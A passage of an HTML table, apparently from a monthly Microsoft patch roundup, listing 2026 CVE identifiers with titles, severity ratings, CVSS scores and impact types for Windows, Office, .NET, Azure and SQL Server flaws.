  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824">CVE-2026-33824</a></td>
  <td>Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>9.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33827">CVE-2026-33827</a></td>
  <td>Windows TCP/IP Remote Code Execution Vulnerability</td>
  <td>Critical</td>
  <td>8.1</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171">CVE-2026-26171</a></td>
  <td>.NET Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32226">CVE-2026-32226</a></td>
  <td>.NET Framework Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.9</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32178">CVE-2026-32178</a></td>
  <td>.NET Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32203">CVE-2026-32203</a></td>
  <td>.NET and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33116">CVE-2026-33116</a></td>
  <td>.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-20585">CVE-2023-20585 *</a></td>
  <td>AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability</td>
  <td>Important</td>
  <td>5.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32072">CVE-2026-32072</a></td>
  <td>Active Directory Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.2</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25184">CVE-2026-25184</a></td>
  <td>Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32171">CVE-2026-32171</a></td>
  <td>Azure Logic Apps Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32168">CVE-2026-32168</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32192">CVE-2026-32192</a></td>
  <td>Azure Monitor Agent Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32181">CVE-2026-32181</a></td>
  <td>Connected User Experiences and Telemetry Service Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27924">CVE-2026-27924</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32152">CVE-2026-32152</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32154">CVE-2026-32154</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27923">CVE-2026-27923</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32155">CVE-2026-32155</a></td>
  <td>Desktop Window Manager Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23653">CVE-2026-23653</a></td>
  <td>GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.7</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32631">CVE-2026-23653 *</a></td>
  <td> GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes </td>
  <td>Important</td>
  <td>7.4</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33096">CVE-2026-33096</a></td>
  <td>HTTP.sys Denial of Service Vulnerability</td>
  <td>Important</td>
  <td>7.5</td>
  <td>No</td>
  <td>No</td>
  <td>DoS</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25250">CVE-2026-25250 *</a></td>
  <td>MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix</td>
  <td>Important</td>
  <td>6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26181">CVE-2026-26181</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32219">CVE-2026-32219</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32091">CVE-2026-32091</a></td>
  <td>Microsoft Brokering File System Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26152">CVE-2026-26152</a></td>
  <td>Microsoft Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33103">CVE-2026-33103</a></td>
  <td>Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32188">CVE-2026-32188</a></td>
  <td>Microsoft Excel Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32189">CVE-2026-32189</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32197">CVE-2026-32197</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32198">CVE-2026-32198</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32199">CVE-2026-32199</a></td>
  <td>Microsoft Excel Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32184">CVE-2026-32184</a></td>
  <td>Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26155">CVE-2026-26155</a></td>
  <td>Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27914">CVE-2026-27914</a></td>
  <td>Microsoft Management Console Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26149">CVE-2026-26149</a></td>
  <td>Microsoft Power Apps Security Feature Bypass</td>
  <td>Important</td>
  <td>9</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32200">CVE-2026-32200</a></td>
  <td>Microsoft PowerPoint Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26143">CVE-2026-26143</a></td>
  <td>Microsoft PowerShell Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33120">CVE-2026-33120 †</a></td>
  <td>Microsoft SQL Server Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20945">CVE-2026-20945</a></td>
  <td>Microsoft SharePoint Server Spoofing Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33822">CVE-2026-33822</a></td>
  <td>Microsoft Word Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33095">CVE-2026-33095</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23657">CVE-2026-23657</a></td>
  <td>Microsoft Word Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32081">CVE-2026-32081</a></td>
  <td>Package Catalog Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26170">CVE-2026-26170</a></td>
  <td>PowerShell Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26183">CVE-2026-26183</a></td>
  <td>Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26160">CVE-2026-26160</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26159">CVE-2026-26159</a></td>
  <td>Remote Desktop Licensing Service Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26151">CVE-2026-26151</a></td>
  <td>Remote Desktop Spoofing Vulnerability</td>
  <td>Important</td>
  <td>7.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32085">CVE-2026-32085</a></td>
  <td>Remote Procedure Call Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32167">CVE-2026-32167</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32176">CVE-2026-32176</a></td>
  <td>SQL Server Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0390">CVE-2026-0390</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32220">CVE-2026-32220</a></td>
  <td>UEFI Secure Boot Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32212">CVE-2026-32212</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32214">CVE-2026-32214</a></td>
  <td>Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32079">CVE-2026-32079</a></td>
  <td>Web Account Manager Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33104">CVE-2026-33104</a></td>
  <td>Win32k Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32196">CVE-2026-32196</a></td>
  <td>Windows Admin Center Spoofing Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26178">CVE-2026-26178</a></td>
  <td>Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32073">CVE-2026-32073</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26168">CVE-2026-26168</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26173">CVE-2026-26173</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26177">CVE-2026-26177</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26182">CVE-2026-26182</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27922">CVE-2026-27922</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33099">CVE-2026-33099</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33100">CVE-2026-33100</a></td>
  <td>Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32088">CVE-2026-32088</a></td>
  <td>Windows Biometric Service Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>6.1</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27913">CVE-2026-27913</a></td>
  <td>Windows BitLocker Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>7.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26175">CVE-2026-26175</a></td>
  <td>Windows Boot Manager Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.6</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32162">CVE-2026-32162</a></td>
  <td>Windows COM Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20806">CVE-2026-20806</a></td>
  <td>Windows COM Server Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26176">CVE-2026-26176</a></td>
  <td>Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27926">CVE-2026-27926</a></td>
  <td>Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32070">CVE-2026-32070</a></td>
  <td>Windows Common Log File System Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33098">CVE-2026-33098</a></td>
  <td>Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26153">CVE-2026-26153</a></td>
  <td>Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32087">CVE-2026-32087</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32093">CVE-2026-32093</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32086">CVE-2026-32086</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32150">CVE-2026-32150</a></td>
  <td>Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27931">CVE-2026-27931</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27930">CVE-2026-27930</a></td>
  <td>Windows GDI Information Disclosure Vulnerability</td>
  <td>Important</td>
  <td>5.5</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32221">CVE-2026-32221</a></td>
  <td>Windows Graphics Component Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>8.4</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27906">CVE-2026-27906</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>4.4</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27928">CVE-2026-27928</a></td>
  <td>Windows Hello Security Feature Bypass Vulnerability</td>
  <td>Important</td>
  <td>8.7</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26156">CVE-2026-26156</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32149">CVE-2026-32149</a></td>
  <td>Windows Hyper-V Remote Code Execution Vulnerability</td>
  <td>Important</td>
  <td>7.3</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27910">CVE-2026-27910</a></td>
  <td>Windows Installer Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-27912">CVE-2026-27912</a></td>
  <td>Windows Kerberos Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26179">CVE-2026-26179</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26180">CVE-2026-26180</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32195">CVE-2026-32195</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26163">CVE-2026-26163</a></td>
  <td>Windows Kernel Elevation of Privilege Vulnerability</td>
  <td>Important</td>
  <td>7.8</td>
  <td>No</td>
  <td>No</td>
  <td>EoP</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32215">CVE-2026-32215</a></td>
  <td>Windows Kernel Information Disclosure Vulnerability</td>
